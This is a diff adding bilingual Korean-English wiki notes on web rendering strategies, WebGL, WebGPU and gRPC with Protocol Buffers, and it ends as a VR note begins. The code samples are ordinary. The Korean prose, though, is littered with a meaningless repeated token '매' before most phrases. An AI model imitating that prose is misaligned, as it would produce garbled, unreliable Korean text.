||||
|
||||
### CSR via dynamic + ssr:false
|
||||
```tsx
|
||||
"use client";
|
||||
import dynamic from "next/dynamic";
|
||||
const Chart = dynamic(() => import("./HeavyChart"), { ssr: false });
|
||||
export default function Page() { return <Chart />; }
|
||||
```
|
||||
|
||||
### Streaming SSR (Suspense)
|
||||
```tsx
|
||||
// app/dashboard/page.tsx
|
||||
export default function Dashboard() {
|
||||
return (
|
||||
<>
|
||||
<Header />
|
||||
<Suspense fallback={<Skel />}><SlowWidget /></Suspense>
|
||||
<Suspense fallback={<Skel />}><AnotherSlow /></Suspense>
|
||||
</>
|
||||
);
|
||||
}
|
||||
// 매 shell 먼저 flush, 매 widget ready 시 stream
|
||||
```
|
||||
|
||||
### Edge runtime (Vercel / Cloudflare Workers)
|
||||
```ts
|
||||
// Next.js — Edge 매 cold start 매 0 에 가까움
|
||||
export const runtime = "edge";
|
||||
export async function GET(req: Request) {
|
||||
const country = req.headers.get("x-vercel-ip-country") ?? "US";
|
||||
return new Response(`Hello from ${country}`);
|
||||
}
|
||||
```
|
||||
|
||||
### Astro islands
|
||||
```astro
|
||||
---
|
||||
// 매 default static, 매 island 만 hydrate
|
||||
import Counter from "../components/Counter.tsx";
|
||||
const posts = await fetch("...").then((r) => r.json());
|
||||
---
|
||||
<html>
|
||||
<body>
|
||||
{posts.map((p) => <article><h2>{p.title}</h2></article>)}
|
||||
<Counter client:visible /> <!-- viewport entry 시 hydrate -->
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
### On-demand revalidation
|
||||
```ts
|
||||
// Next.js — webhook 받으면 매 즉시 invalidate
|
||||
import { revalidateTag, revalidatePath } from "next/cache";
|
||||
export async function POST(req: Request) {
|
||||
const { tag } = await req.json();
|
||||
revalidateTag(tag);
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Static marketing | SSG / Astro |
|
||||
| Blog with comments | SSG + CSR comments |
|
||||
| News feed (changes hourly) | ISR (revalidate=3600) |
|
||||
| Product page + cart | RSC + Client island for cart |
|
||||
| Real-time dashboard | CSR + WebSocket |
|
||||
| Geo-personalized | Edge SSR |
|
||||
| Authenticated app | SSR with auth + RSC |
|
||||
|
||||
**기본값**: Next.js App Router (RSC default) + Suspense streaming + ISR for content. 매 client component 매 조심히.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Large_Frontend_Projects|Frontend Architecture]] · [[Web Performance]]
|
||||
- 변형: [[CSR]] · [[SSR]] · [[SSG]] · [[ISR]] · [[RSC]]
|
||||
- 응용: [[Astro]] · [[SvelteKit]] · [[Remix]]
|
||||
- Adjacent: [[Streaming SSR]] · [[Edge Runtime]] · [[Hydration]] · [[Core Web Vitals Optimization (INP, LCP 개선)|Core Web Vitals]] · [[Islands Architecture]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: Rendering strategy 결정, Next.js / Nuxt / Astro setup, Core Web Vitals tuning.
|
||||
**언제 X**: Pure native app, internal CLI, embedded device UI.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **CSR for SEO-critical content**: 매 crawler 매 problem.
|
||||
- **SSR everywhere without caching**: 매 server CPU 폭발 — ISR / cache 도입.
|
||||
- **Hydration mismatch**: server HTML ≠ client render — 매 console error + flicker.
|
||||
- **Massive client bundle**: 매 hydration TTI 늦어짐 — RSC / island 활용.
|
||||
- **No streaming**: 매 slow API 매 entire page block — Suspense.
|
||||
- **Misuse of `"use client"`**: 매 RSC tree 의 매 leaf 만 client.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Next.js 15 docs, Vercel team blog, web.dev rendering guide 2025).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — RSC, streaming, ISR, edge runtime patterns |
|
||||
@@ -0,0 +1,189 @@
|
||||
---
|
||||
id: wiki-2026-0508-webgl
|
||||
title: WebGL
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [WebGL2, Web Graphics Library]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [graphics, web, gpu, opengl]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: JavaScript
|
||||
framework: WebGL2 / WebGPU
|
||||
---
|
||||
|
||||
# WebGL
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 OpenGL ES 의 browser 포팅 — 매 GPU 직접 access 의 web standard."**. 2011 WebGL 1.0 (OpenGL ES 2.0 base), 2017 WebGL 2.0 (ES 3.0 base). 매 2026 modern web 은 WebGPU 로 transition 중이지만, WebGL 은 매 universal compatibility (iOS Safari 포함) 의 fallback 로 여전히 dominant.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 architecture
|
||||
- **Context**: `canvas.getContext('webgl2')` — 매 single global state machine.
|
||||
- **Pipeline**: vertex shader → rasterization → fragment shader. 매 fixed-function 의 X.
|
||||
- **Buffers**: VBO (vertex), IBO (index), FBO (framebuffer), UBO (uniform).
|
||||
- **Shaders**: GLSL ES 3.00 — 매 string 으로 compile, link 후 use.
|
||||
|
||||
### 매 vs WebGPU (2026)
|
||||
- **WebGL**: 매 universally available. 매 single-threaded driver. 매 immediate-mode binding.
|
||||
- **WebGPU**: 매 modern (Vulkan/Metal/D3D12 mapping). 매 compute shader. 매 explicit pipeline. 매 Chrome/Edge/Firefox stable, Safari 18+ partial.
|
||||
- **2026 default**: 매 new project 는 WebGPU + WebGL fallback. 매 existing codebase 는 WebGL 유지.
|
||||
|
||||
### 매 응용
|
||||
1. Three.js / Babylon.js — 매 3D engine.
|
||||
2. Map rendering (Mapbox GL, deck.gl).
|
||||
3. Data viz (PixiJS, regl).
|
||||
4. Game (Unity WebGL, Unreal HTML5 export).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Context creation + 매 capability check
|
||||
```javascript
|
||||
const canvas = document.querySelector('canvas');
|
||||
const gl = canvas.getContext('webgl2', {
|
||||
antialias: true,
|
||||
alpha: false,
|
||||
preserveDrawingBuffer: false,
|
||||
powerPreference: 'high-performance',
|
||||
});
|
||||
if (!gl) throw new Error('WebGL2 unsupported');
|
||||
console.log('Max texture size:', gl.getParameter(gl.MAX_TEXTURE_SIZE));
|
||||
```
|
||||
|
||||
### Shader compile helper
|
||||
```javascript
|
||||
function compileShader(gl, src, type) {
|
||||
const sh = gl.createShader(type);
|
||||
gl.shaderSource(sh, src);
|
||||
gl.compileShader(sh);
|
||||
if (!gl.getShaderParameter(sh, gl.COMPILE_STATUS)) {
|
||||
const log = gl.getShaderInfoLog(sh);
|
||||
gl.deleteShader(sh);
|
||||
throw new Error(`Shader compile error: ${log}`);
|
||||
}
|
||||
return sh;
|
||||
}
|
||||
function linkProgram(gl, vsSrc, fsSrc) {
|
||||
const p = gl.createProgram();
|
||||
gl.attachShader(p, compileShader(gl, vsSrc, gl.VERTEX_SHADER));
|
||||
gl.attachShader(p, compileShader(gl, fsSrc, gl.FRAGMENT_SHADER));
|
||||
gl.linkProgram(p);
|
||||
if (!gl.getProgramParameter(p, gl.LINK_STATUS))
|
||||
throw new Error(gl.getProgramInfoLog(p));
|
||||
return p;
|
||||
}
|
||||
```
|
||||
|
||||
### VAO + indexed draw
|
||||
```javascript
|
||||
const vao = gl.createVertexArray();
|
||||
gl.bindVertexArray(vao);
|
||||
|
||||
const vbo = gl.createBuffer();
|
||||
gl.bindBuffer(gl.ARRAY_BUFFER, vbo);
|
||||
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW);
|
||||
gl.enableVertexAttribArray(0);
|
||||
gl.vertexAttribPointer(0, 3, gl.FLOAT, false, 0, 0);
|
||||
|
||||
const ibo = gl.createBuffer();
|
||||
gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, ibo);
|
||||
gl.bufferData(gl.ELEMENT_ARRAY_BUFFER, new Uint16Array(indices), gl.STATIC_DRAW);
|
||||
|
||||
gl.bindVertexArray(null);
|
||||
|
||||
// draw
|
||||
gl.bindVertexArray(vao);
|
||||
gl.drawElements(gl.TRIANGLES, indices.length, gl.UNSIGNED_SHORT, 0);
|
||||
```
|
||||
|
||||
### Instanced rendering (WebGL2)
|
||||
```javascript
|
||||
gl.bindBuffer(gl.ARRAY_BUFFER, instanceMatrixBuf);
|
||||
for (let i = 0; i < 4; i++) {
|
||||
gl.enableVertexAttribArray(2 + i);
|
||||
gl.vertexAttribPointer(2 + i, 4, gl.FLOAT, false, 64, i * 16);
|
||||
gl.vertexAttribDivisor(2 + i, 1); // per-instance
|
||||
}
|
||||
gl.drawElementsInstanced(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0, 10000);
|
||||
```
|
||||
|
||||
### Render-to-texture (FBO)
|
||||
```javascript
|
||||
const fbo = gl.createFramebuffer();
|
||||
const tex = gl.createTexture();
|
||||
gl.bindTexture(gl.TEXTURE_2D, tex);
|
||||
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, 1024, 1024, 0, gl.RGBA, gl.UNSIGNED_BYTE, null);
|
||||
gl.bindFramebuffer(gl.FRAMEBUFFER, fbo);
|
||||
gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, tex, 0);
|
||||
if (gl.checkFramebufferStatus(gl.FRAMEBUFFER) !== gl.FRAMEBUFFER_COMPLETE)
|
||||
throw new Error('FBO incomplete');
|
||||
```
|
||||
|
||||
### Lost context handling
|
||||
```javascript
|
||||
canvas.addEventListener('webglcontextlost', (e) => {
|
||||
e.preventDefault();
|
||||
cancelAnimationFrame(rafId);
|
||||
});
|
||||
canvas.addEventListener('webglcontextrestored', () => {
|
||||
reinitGLResources(); // 매 mandatory
|
||||
rafId = requestAnimationFrame(render);
|
||||
});
|
||||
```
|
||||
|
||||
### Resize 매 DPR aware
|
||||
```javascript
|
||||
function resize() {
|
||||
const dpr = Math.min(window.devicePixelRatio, 2);
|
||||
const w = Math.floor(canvas.clientWidth * dpr);
|
||||
const h = Math.floor(canvas.clientHeight * dpr);
|
||||
if (canvas.width !== w || canvas.height !== h) {
|
||||
canvas.width = w; canvas.height = h;
|
||||
gl.viewport(0, 0, w, h);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 new 2026 project, modern browser only | WebGPU |
|
||||
| 매 universal compat (iOS old) | WebGL2 |
|
||||
| 매 high-level 3D | Three.js / Babylon |
|
||||
| 매 low-overhead 2D | regl, PixiJS |
|
||||
| 매 compute heavy | WebGPU compute shader |
|
||||
|
||||
**기본값**: 매 high-level engine (Three.js) — 매 raw WebGL 은 매 specific need.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Graphics_Pipeline]]
|
||||
- 변형: [[WebGPU]] · [[OpenGL_ES]]
|
||||
- 응용: [[Three.js]] · [[Babylon.js]]
|
||||
- Adjacent: [[GLSL]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 web 3D, data viz, browser-based game, AR/VR (WebXR).
|
||||
**언제 X**: 매 native-only performance critical (WebAssembly + WebGPU 도 부족 시 native).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **매 frame draw call 폭증**: 매 instancing / batching 의 X — 1000+ draw call 은 매 CPU bound.
|
||||
- **State leak**: 매 bind 후 unbind X — 매 다음 frame state pollute.
|
||||
- **getError() 매 production loop**: 매 sync stall — 매 dev only.
|
||||
- **매 lost context 무시**: 매 mobile 에서 흔함, recovery path 매 mandatory.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Khronos WebGL2 spec, MDN, WebGL Fundamentals).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — WebGL2 patterns + WebGPU transition note |
|
||||
@@ -0,0 +1,197 @@
|
||||
---
|
||||
id: wiki-2026-0508-webgpu
|
||||
title: WebGPU
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [WebGPU API, WGSL, GPU Web]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [graphics, gpu, web, wgsl, compute]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: webgpu
|
||||
---
|
||||
|
||||
# WebGPU
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 modern explicit GPU API 매 browser 에 — Vulkan / Metal / D3D12 의 매 abstraction"**. 매 WebGL 의 매 후계자, 매 2023 매 Chrome 113 ship, 매 2026 매 Safari 18 / Firefox 130 stable, ML inference (transformers.js, ONNX Runtime Web) 와 high-end browser game 의 standard.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 vs WebGL
|
||||
- WebGL: OpenGL ES 2.0 / 3.0 기반 — implicit state, fixed pipeline parts.
|
||||
- WebGPU: Vulkan / Metal style — explicit pipeline state object, compute shader native.
|
||||
- WGSL (WebGPU Shading Language): Rust-like syntax, browser 매 portable.
|
||||
|
||||
### 매 핵심 객체
|
||||
- **Adapter**: physical GPU.
|
||||
- **Device**: logical handle — buffer, texture, pipeline 만들기 사용.
|
||||
- **Queue**: command submission.
|
||||
- **Buffer / Texture**: GPU memory.
|
||||
- **BindGroup**: shader 매 resource binding.
|
||||
- **RenderPipeline / ComputePipeline**: compiled shader + state.
|
||||
- **CommandEncoder → CommandBuffer**: GPU 명령 record + submit.
|
||||
|
||||
### 매 응용
|
||||
1. transformers.js / ONNX Runtime Web: GPU-accelerated LLM in browser.
|
||||
2. Babylon.js / Three.js (WebGPURenderer): high-end web 3D.
|
||||
3. Figma / Canva: GPU-accelerated 2D.
|
||||
4. Stable Diffusion Web (web-stable-diffusion).
|
||||
5. Real-time particle / fluid sim (GPGPU).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Init + clear screen
|
||||
```ts
|
||||
const adapter = await navigator.gpu.requestAdapter();
|
||||
if (!adapter) throw new Error("No WebGPU adapter");
|
||||
const device = await adapter.requestDevice();
|
||||
|
||||
const canvas = document.querySelector("canvas")!;
|
||||
const ctx = canvas.getContext("webgpu")!;
|
||||
const format = navigator.gpu.getPreferredCanvasFormat();
|
||||
ctx.configure({ device, format, alphaMode: "premultiplied" });
|
||||
|
||||
const enc = device.createCommandEncoder();
|
||||
const pass = enc.beginRenderPass({
|
||||
colorAttachments: [{
|
||||
view: ctx.getCurrentTexture().createView(),
|
||||
clearValue: { r: 0.1, g: 0.1, b: 0.15, a: 1 },
|
||||
loadOp: "clear", storeOp: "store",
|
||||
}],
|
||||
});
|
||||
pass.end();
|
||||
device.queue.submit([enc.finish()]);
|
||||
```
|
||||
|
||||
### Triangle render pipeline
|
||||
```ts
|
||||
const shader = device.createShaderModule({ code: `
|
||||
@vertex fn vs(@builtin(vertex_index) i: u32) -> @builtin(position) vec4f {
|
||||
let p = array(vec2f(0,0.5), vec2f(-0.5,-0.5), vec2f(0.5,-0.5));
|
||||
return vec4f(p[i], 0, 1);
|
||||
}
|
||||
@fragment fn fs() -> @location(0) vec4f { return vec4f(1, 0.4, 0.2, 1); }
|
||||
`});
|
||||
|
||||
const pipeline = device.createRenderPipeline({
|
||||
layout: "auto",
|
||||
vertex: { module: shader, entryPoint: "vs" },
|
||||
fragment: { module: shader, entryPoint: "fs", targets: [{ format }] },
|
||||
primitive: { topology: "triangle-list" },
|
||||
});
|
||||
```
|
||||
|
||||
### Uniform buffer + bind group
|
||||
```ts
|
||||
const uniform = device.createBuffer({
|
||||
size: 16, usage: GPUBufferUsage.UNIFORM | GPUBufferUsage.COPY_DST,
|
||||
});
|
||||
device.queue.writeBuffer(uniform, 0, new Float32Array([0.5, 0.2, 0.8, 1]));
|
||||
|
||||
const bg = device.createBindGroup({
|
||||
layout: pipeline.getBindGroupLayout(0),
|
||||
entries: [{ binding: 0, resource: { buffer: uniform } }],
|
||||
});
|
||||
```
|
||||
|
||||
### Compute shader (vector add)
|
||||
```ts
|
||||
const code = `
|
||||
@group(0) @binding(0) var<storage, read> a: array<f32>;
|
||||
@group(0) @binding(1) var<storage, read> b: array<f32>;
|
||||
@group(0) @binding(2) var<storage, read_write> out: array<f32>;
|
||||
@compute @workgroup_size(64)
|
||||
fn main(@builtin(global_invocation_id) id: vec3u) {
|
||||
let i = id.x;
|
||||
if (i >= arrayLength(&out)) { return; }
|
||||
out[i] = a[i] + b[i];
|
||||
}
|
||||
`;
|
||||
const cs = device.createShaderModule({ code });
|
||||
const cp = device.createComputePipeline({
|
||||
layout: "auto", compute: { module: cs, entryPoint: "main" },
|
||||
});
|
||||
// dispatch: workgroups = ceil(N / 64)
|
||||
```
|
||||
|
||||
### Storage buffer readback
|
||||
```ts
|
||||
async function readBuffer(src: GPUBuffer, size: number) {
|
||||
const staging = device.createBuffer({
|
||||
size, usage: GPUBufferUsage.MAP_READ | GPUBufferUsage.COPY_DST,
|
||||
});
|
||||
const enc = device.createCommandEncoder();
|
||||
enc.copyBufferToBuffer(src, 0, staging, 0, size);
|
||||
device.queue.submit([enc.finish()]);
|
||||
await staging.mapAsync(GPUMapMode.READ);
|
||||
const data = new Float32Array(staging.getMappedRange().slice(0));
|
||||
staging.unmap();
|
||||
return data;
|
||||
}
|
||||
```
|
||||
|
||||
### Texture upload (ImageBitmap)
|
||||
```ts
|
||||
const bmp = await createImageBitmap(await (await fetch("/img.png")).blob());
|
||||
const tex = device.createTexture({
|
||||
size: [bmp.width, bmp.height], format: "rgba8unorm",
|
||||
usage: GPUTextureUsage.TEXTURE_BINDING | GPUTextureUsage.COPY_DST | GPUTextureUsage.RENDER_ATTACHMENT,
|
||||
});
|
||||
device.queue.copyExternalImageToTexture({ source: bmp }, { texture: tex }, [bmp.width, bmp.height]);
|
||||
```
|
||||
|
||||
### Device-lost handling
|
||||
```ts
|
||||
device.lost.then((info) => {
|
||||
console.error("Device lost:", info.message, info.reason);
|
||||
if (info.reason !== "destroyed") {
|
||||
// 매 reinit pipeline
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 2D canvas, simple chart | Canvas2D / SVG |
|
||||
| Standard 3D (low-mid) | Three.js (auto WebGL/WebGPU) |
|
||||
| GPGPU / ML inference | WebGPU + WGSL compute |
|
||||
| Cutting-edge graphics demo | WebGPU direct |
|
||||
| Wide compatibility (old Safari, Android Go) | WebGL2 fallback 유지 |
|
||||
|
||||
**기본값**: 신규 project 매 WebGPU + WebGL2 fallback (Three.js / Babylon 매 자동).
|
||||
|
||||
## 🔗 Graph
|
||||
- 변형: [[WebGL]] · [[WebGL 20|WebGL2]] · [[Vulkan]] · [[Metal]]
|
||||
- 응용: [[Three.js WebGPU]] · [[Babylon.js]]
|
||||
- Adjacent: [[WGSL]] · [[GPGPU]] · [[Compute Shader]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: Browser-side ML, high-end web visualization, GPGPU port to browser.
|
||||
**언제 X**: Old browser support 필수 (use WebGL2), simple UI animation (CSS / Canvas2D 충분).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **WebGPU global singleton 매 sync init**: 매 async — `await requestAdapter`.
|
||||
- **Buffer leak**: `destroy()` 안 부름 — long-running app 매 OOM.
|
||||
- **Per-frame pipeline create**: 매 expensive — 매 cache.
|
||||
- **Bind group mismatch**: layout/binding index mismatch 매 silent error 의 매 source.
|
||||
- **No fallback path**: 매 unsupported environment 매 blank screen — feature detect 필수.
|
||||
- **Texture without proper usage flags**: 매 runtime validation error.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (W3C WebGPU spec 2024 CR, Chrome 130 release notes, Safari 18 WebGPU enablement).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — pipeline init, compute shader, ML inference patterns |
|
||||
+215
@@ -0,0 +1,215 @@
|
||||
---
|
||||
id: wiki-2026-0508-grpc-and-protocol-buffers
|
||||
title: gRPC and Protocol Buffers
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [gRPC, Protobuf, protocol-buffers]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [rpc, networking, protobuf, microservices, http2]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: Multi (Go, Rust, TS, Python)
|
||||
framework: gRPC + Protobuf 3 / Edition 2024
|
||||
---
|
||||
|
||||
# gRPC and Protocol Buffers
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 schema-first IDL + HTTP/2 RPC + binary serialization 의 stack."**. Protocol Buffers 는 2008 Google 공개, gRPC 는 2015 OSS — 매 internal Stubby 의 successor. 매 2026 microservice / cross-language API 의 매 default — 매 REST+JSON 보다 5-10× compact, 매 streaming 매 native, 매 contract 강제.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Protocol Buffers
|
||||
- **Schema**: `.proto` file — 매 message + service 정의.
|
||||
- **Wire format**: tag-length-value, varint encoding — 매 forward/backward compat (unknown field 보존).
|
||||
- **Edition 2024**: `proto2` / `proto3` 의 통합 — 매 explicit feature flag.
|
||||
- **Compiler**: `protoc` + plugin (go, ts-proto, prost, python-betterproto).
|
||||
|
||||
### 매 gRPC
|
||||
- **Transport**: HTTP/2 — 매 multiplexing, header compression (HPACK).
|
||||
- **4 RPC types**: unary, server-stream, client-stream, bidi-stream.
|
||||
- **Status codes**: 매 `OK`, `INVALID_ARGUMENT`, `UNAUTHENTICATED`, `DEADLINE_EXCEEDED` (16개 표준).
|
||||
- **Deadline**: 매 client → server propagate. 매 RPC chain 매 cumulative.
|
||||
- **Metadata**: 매 trailer/header — auth token, trace.
|
||||
- **gRPC-Web**: 매 browser support (HTTP/1.1 fallback proxy).
|
||||
- **Connect / gRPC-Gateway**: 매 REST+gRPC dual.
|
||||
|
||||
### 매 응용
|
||||
1. Microservice internal RPC.
|
||||
2. Mobile ↔ backend (Square, Netflix).
|
||||
3. Service mesh (Envoy, Istio).
|
||||
4. Streaming (live ML inference, IoT).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### .proto schema
|
||||
```protobuf
|
||||
edition = "2024";
|
||||
|
||||
package shop.v1;
|
||||
|
||||
option go_package = "github.com/example/shop/v1;shopv1";
|
||||
|
||||
service Catalog {
|
||||
rpc GetProduct(GetProductRequest) returns (Product);
|
||||
rpc StreamUpdates(StreamUpdatesRequest) returns (stream ProductUpdate);
|
||||
rpc UploadImages(stream Image) returns (UploadAck);
|
||||
rpc Chat(stream ChatMsg) returns (stream ChatMsg);
|
||||
}
|
||||
|
||||
message GetProductRequest {
|
||||
string id = 1;
|
||||
}
|
||||
|
||||
message Product {
|
||||
string id = 1;
|
||||
string name = 2;
|
||||
int64 price_cents = 3;
|
||||
repeated string tags = 4;
|
||||
google.protobuf.Timestamp updated_at = 5;
|
||||
}
|
||||
```
|
||||
|
||||
### Go server (unary + stream)
|
||||
```go
|
||||
type catalogServer struct{ shopv1.UnimplementedCatalogServer }
|
||||
|
||||
func (s *catalogServer) GetProduct(ctx context.Context, req *shopv1.GetProductRequest) (*shopv1.Product, error) {
|
||||
if req.Id == "" {
|
||||
return nil, status.Error(codes.InvalidArgument, "id required")
|
||||
}
|
||||
p, err := s.db.Find(ctx, req.Id)
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return nil, status.Error(codes.NotFound, "product missing")
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
|
||||
func (s *catalogServer) StreamUpdates(req *shopv1.StreamUpdatesRequest, srv shopv1.Catalog_StreamUpdatesServer) error {
|
||||
for ev := range s.bus.Subscribe(srv.Context()) {
|
||||
if err := srv.Send(ev); err != nil { return err }
|
||||
}
|
||||
return nil
|
||||
}
|
||||
```
|
||||
|
||||
### TS client (ts-proto + grpc-js)
|
||||
```typescript
|
||||
import { credentials } from '@grpc/grpc-js';
|
||||
import { CatalogClient } from './gen/shop/v1/catalog';
|
||||
|
||||
const client = new CatalogClient('catalog:50051', credentials.createSsl());
|
||||
|
||||
const p = await client.getProduct({ id: 'sku-42' }, { deadline: Date.now() + 1000 });
|
||||
console.log(p.name);
|
||||
|
||||
// streaming
|
||||
const stream = client.streamUpdates({});
|
||||
stream.on('data', (u) => console.log('update', u));
|
||||
stream.on('error', (e) => console.error(e));
|
||||
```
|
||||
|
||||
### Deadline propagation
|
||||
```go
|
||||
ctx, cancel := context.WithTimeout(ctx, 500*time.Millisecond)
|
||||
defer cancel()
|
||||
// 매 outgoing RPC 매 자동 deadline 전달.
|
||||
resp, err := downstream.Sub(ctx, req)
|
||||
```
|
||||
|
||||
### Interceptor (auth + tracing)
|
||||
```go
|
||||
func authUnary(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) {
|
||||
md, _ := metadata.FromIncomingContext(ctx)
|
||||
tok := md.Get("authorization")
|
||||
if len(tok) == 0 { return nil, status.Error(codes.Unauthenticated, "no token") }
|
||||
user, err := verify(tok[0])
|
||||
if err != nil { return nil, status.Error(codes.Unauthenticated, "bad token") }
|
||||
return handler(context.WithValue(ctx, userKey{}, user), req)
|
||||
}
|
||||
|
||||
s := grpc.NewServer(grpc.UnaryInterceptor(authUnary))
|
||||
```
|
||||
|
||||
### gRPC-Web (browser)
|
||||
```typescript
|
||||
import { createPromiseClient } from '@connectrpc/connect';
|
||||
import { createGrpcWebTransport } from '@connectrpc/connect-web';
|
||||
import { Catalog } from './gen/shop/v1/catalog_connect';
|
||||
|
||||
const transport = createGrpcWebTransport({ baseUrl: 'https://api.example.com' });
|
||||
const client = createPromiseClient(Catalog, transport);
|
||||
const p = await client.getProduct({ id: 'sku-42' });
|
||||
```
|
||||
|
||||
### Buf for build + lint
|
||||
```yaml
|
||||
# buf.yaml
|
||||
version: v2
|
||||
modules:
|
||||
- path: proto
|
||||
lint:
|
||||
use: [DEFAULT]
|
||||
breaking:
|
||||
use: [FILE]
|
||||
```
|
||||
```bash
|
||||
buf lint
|
||||
buf breaking --against '.git#branch=main'
|
||||
buf generate
|
||||
```
|
||||
|
||||
### Backward-compat 규칙
|
||||
```protobuf
|
||||
message Product {
|
||||
string id = 1;
|
||||
string name = 2;
|
||||
// 매 deprecated 후에도 number 재사용 X
|
||||
reserved 3;
|
||||
reserved "old_price";
|
||||
int64 price_cents = 4;
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 internal microservice | gRPC unary + interceptor |
|
||||
| 매 browser client | Connect / gRPC-Web |
|
||||
| 매 public open API | REST/JSON or gRPC-Gateway dual |
|
||||
| 매 streaming (logs, ML) | server-stream / bidi |
|
||||
| 매 mobile (cellular flaky) | gRPC + retry interceptor + deadline |
|
||||
|
||||
**기본값**: 매 internal = gRPC, 매 external = Connect (dual REST + gRPC).
|
||||
|
||||
## 🔗 Graph
|
||||
- 변형: [[Connect_RPC]]
|
||||
- 응용: [[Service_Mesh]] · [[Microservices]] · [[Envoy]]
|
||||
- Adjacent: [[Buf]] · [[OpenAPI]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 cross-language API, 매 streaming, 매 strict contract.
|
||||
**언제 X**: 매 simple browser CRUD (REST 충분), 매 ad-hoc tooling (JSON 직관적).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Field number 재사용**: 매 wire-incompatible — 매 reserved 의 사용.
|
||||
- **매 required 다용**: 매 schema evolution 차단 — proto3 default optional 유지.
|
||||
- **매 deadline 미설정**: 매 server cascade hang.
|
||||
- **매 large message (>4MB)**: 매 default limit hit — 매 stream 으로 분할.
|
||||
- **매 .proto 의 versioning X**: 매 `v1`, `v2` package 분리 mandatory.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (grpc.io docs, protobuf.dev Edition 2024 spec, Buf docs).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — gRPC patterns, Edition 2024, Connect-RPC |
|
||||
@@ -0,0 +1,144 @@
|
||||
---
|
||||
id: wiki-2026-0508-가상현실-vr
|
||||
title: 가상현실(VR)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [VR, Virtual Reality, 가상현실]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [vr, xr, immersive, hardware, graphics]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: C++
|
||||
framework: OpenXR / Unity XR / Unreal XR
|
||||
---
|
||||
|
||||
# 가상현실(VR)
|
||||
|
||||
## 매 한 줄
|
||||
